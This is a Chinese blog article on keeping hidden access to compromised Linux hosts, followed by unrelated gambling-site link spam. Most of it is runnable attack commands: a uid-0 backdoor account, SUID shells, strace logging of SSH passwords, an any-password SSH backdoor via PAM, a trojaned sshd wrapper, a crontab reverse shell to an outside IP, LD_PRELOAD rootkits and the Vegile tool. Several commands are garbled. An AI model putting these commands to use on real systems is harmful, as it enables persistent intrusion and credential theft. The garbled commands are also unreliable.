权限维持之Linux后门

权限维持之Linux后门

在渗透过程中拿到目标权限只是开始,通常会留下后门以便再次访问(简称APT)。因此需要进行权限维持,隐藏后门。本文将对Linux下常见的权限维持后门技术进行解析,知己知彼百战不殆。

1.添加root账户

原理:增加root密码为password的root用户

代码语言:javascript代码运行次数:0运行复制useradd -u -0 -o -g root -G root:password|chpasswd上述命令可能会加不上,若加不上则两条命令分开执行

代码语言:javascript代码运行次数:0运行复制useradd -u 0 -o -g root -G root root echo root:root | chpasswd如果一直失败

代码语言:javascript代码运行次数:0运行复制perl -e 'printcrypt("Poker","AA"). "\n"'密码为Poker

echo "backdoor:AALvujjdsfdsf:0:0:me:/root:/bin/bash">>/etc/passwd #Aalv…为第一行命令执行结果2.设置suid权限位

原理:设置了suid权限位的文件在执行时具有该文件拥有者的权限,故我们可以在root权限时留一个bash文件后门,使得在低权限时能够通过该后门获得root权限

代码语言:javascript代码运行次数:0运行复制cp /bin/bash /tmp/test

chmod 4755 /tmp/test #或者chmod u+s /tmp/test

/tmp/test -p #因为在bash2中添加了防护措施,无法直接获取rootshell。使用-p参数获取3.bash环境文件

原理:bash环境文件/etc/profile,~/.bash_profile,~/.bashrc,~/.bash_logout等,这些文件本质上是脚本文件,当用户登录系统后,会陆续执行其中的部分文件,在其中写入bash命令即可在用户登录时执行。(不通操作系统文件不同)

4.写入SSH公钥

原理:Linux主机打开了SSH时默认也开启了密钥登陆,故写入ssh公钥,即可留下一条控制系统的路

ssh-keygen -t rsa #生成ssh密钥对,公钥会带有当前主机的用户名和主机

5.strace记录认证信息

原理:strace用来跟踪一个进程执行时所产生的系统调用,或者说是用来监视系统调用的,它可以监视一个新进行的系统调用,也可以监视已经在运行系统调用,可以获得到参数、返回值、执行时间等,那么我们就可以利用他来监视sshd进程,获取用ssh登陆的账户密码。

代码语言:javascript代码运行次数:0运行复制pid ='ps -ef |grep

"sshd -D" grep -v grep| awk {'print $2'}'

strace -f -p $pid -o

/tmp/.sshOutput_"date+%Y%m%d%H%M%S".log -e trace=write -s 2048 &

# 该命令用来跟踪sshd进程,可以记录登录本机的ssh密码,坐等管理员ssh登录,查看日志文件,在日志中搜索grep -n "write(4,\"\\\\0\\\\0\\\\0\\\\"/tmp/.ssh.log)

代码语言:javascript代码运行次数:0运行复制alias ssh='strace -o /tmp/.sshOutput_"date+%Y%m%d%H%M%S".log -e trace=write -s 2048 ssh'

#该命令为启用ssh登录程序是,跟踪该进程,可记录利用ssh登录背的主机密码在日志中直接搜索"password"字符串即可6.SSH任意密码登录后门

原理:SSH登录默认使用PAM进行认证,而在root条件下,部分命令比如su,chfn等在执行时,无需使用密码,因为这些命令在PAM认证时使用了pam_rootok.so进行认证:pam_rootok.so:主要作用为使uid=0的账户在认证时直接通过PAM在认证时,以命名名字在/etc/pam.d/目录下查找,PAM配置文件。

部分配置文件中,对于认证采用了pam_rootook.so,并且使用了sufficient控制标记:

suth sufficient pam_rootok.so

则可以将sshd链接到使用rootok.so进行认证的命令上,并新开一个端口。

代码语言:javascript代码运行次数:0运行复制ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=65534 #任意条命令就行

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsn -oPort=12345

ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=12345直接使用ssh -p 65534 x.x.x.x登录,密码随意输入

7.SSH认证流程后门

原理:ssh登录时,系统处理登录请求的文件时usr/sbin/sshd,那么就可以修改该文件,在登录时执行特定操作。

代码语言:javascript代码运行次数:0运行复制cd /usr/sbin

mv sshd ../bin#将正常sshd文件移走,这里可以移到任何地方

echo '#!/usr/bin/perl' > sshd

echo 'exec "/bin/bash -i" if (getpeername(STDIN) =-/^..LF/);' >>sshd #当登录的源端口为19526时,直接返回一个shell

echo 'exec {"/usr/bin/sshd"}

"/usr/sbin/sshd",@ARGV,' >>sshd #若不是19526端口,则执行正常ssh登录流程,这里花括号里的路径是前面第二条命令的sshd路径

chmod u+x sshd

service sshd restart

socat STDIO TCP4:192.16.177.178:22.bind=:19526 #攻击机上执行,或者

socat STDTO TCP4:192.168.2.11:22,souccport=195268.Vim python2扩展后门

原理:vim安装时默认安装了当前服务器的python版本的扩展,如果是python2那么就会有python2的扩展,如果是python3,那么就会有python3的扩展,利用该扩展,可以用vim执行python脚本。

代码语言:javascript代码运行次数:0运行复制vim -version #查看python扩展版本代码语言:javascript代码运行次数:0运行复制cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c"pyfile dir.py"> /dev/null 2>&1 &) && sleep 2&& rm -f dir.py #victim主机上执行,其中dir.py可以是异常的py文件(此处dir.py为一个反弹shell的脚本)python3失效了9.终端解析\r隐藏文本

原理:shell在解析\r时会忽略掉\r前的信息,故,使用该特点隐藏webshell代码

代码语言:javascript代码运行次数:0运行复制echo -e"\r">/var/www/html/test.php10.计划任务

原理:写入计划任务,定期执行特定的命令。

使用crontab创建计划任务

代码语言:javascript代码运行次数:0运行复制echo -e "*/1 * * * * exec 9<>/dev/tcp/172.16.177.1/9888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i"|crontab - #该命令会修改/var/spool/cron/ 下对应用户的文件,如root用户执行该命令,则会修改目录下root文件,也相当于crontab -e

还有许多其它执行计划任务的文件及相关文件

11.预加载动态链接库

原理:系统执行一些命令的时候,在真正执行其文件之前,会加载相应的动态链接库,但linux提供了一个可以加载自定义动态链接库的方式,并且比加载正常动态链接库更早,故可以利用此特点设置自定义加载恶意动态链接库。

代码语言:javascript代码运行次数:0运行复制export LD_PRELOAD=/usr/lib/cub3.so.1 #http://github.com/mempodippy/cub3取消命令:unset LD_PRELOAD

第二种:Vegile 后门

代码语言:javascript代码运行次数:0运行复制git clone https://github.com/Screetsec/Vegile.git

cd Vegile

chmod +x Vegile

./vegile --u malware #malware为MSF的上线ELF文件这个后门会生成多个恶意文件和进程

/usr/bin/screetsec

/usr/bin/debug

/usr/bin/tracker

/usr/bin/supervisited

/usr/bin/rma

这些恶意文件,此时MSF监听器会收到反弹连接,并且断开之后还会继续反弹,进程也无法杀死。

更多尼泊尔内容

票据的功能有哪些并分别解释说明
365体育亚洲官方登录

票据的功能有哪些并分别解释说明

🗓️ 07-03 👁️ 5093
侍魂晓全角色(侍魂全角色资料)
365体育推荐

侍魂晓全角色(侍魂全角色资料)

🗓️ 09-03 👁️ 2175
龙神契约结婚性价比怎么样 划不划算
365体育亚洲官方登录

龙神契约结婚性价比怎么样 划不划算

🗓️ 09-28 👁️ 4954
锕系元素有哪些?了解这15种独特的金属家族
365体育亚洲官方登录

锕系元素有哪些?了解这15种独特的金属家族

🗓️ 09-14 👁️ 8767
想要升级梦幻西游厢房该怎么做
38365365.com打不开

想要升级梦幻西游厢房该怎么做

🗓️ 09-13 👁️ 1083
word文档中如何插入段落标记¶符号
365体育推荐

word文档中如何插入段落标记¶符号

🗓️ 08-30 👁️ 7953
婉若游龙!虎扑之前狂发的帖子:c罗经典战役:2018年世界杯葡萄牙3:3西班牙!
李白凤囚凰皮肤价格揭晓:2025年购买需多少钱?
365体育推荐

李白凤囚凰皮肤价格揭晓:2025年购买需多少钱?

🗓️ 08-11 👁️ 5306
​一生苦情刘雪华面相分析,当初刘德凯为什么甩刘雪华?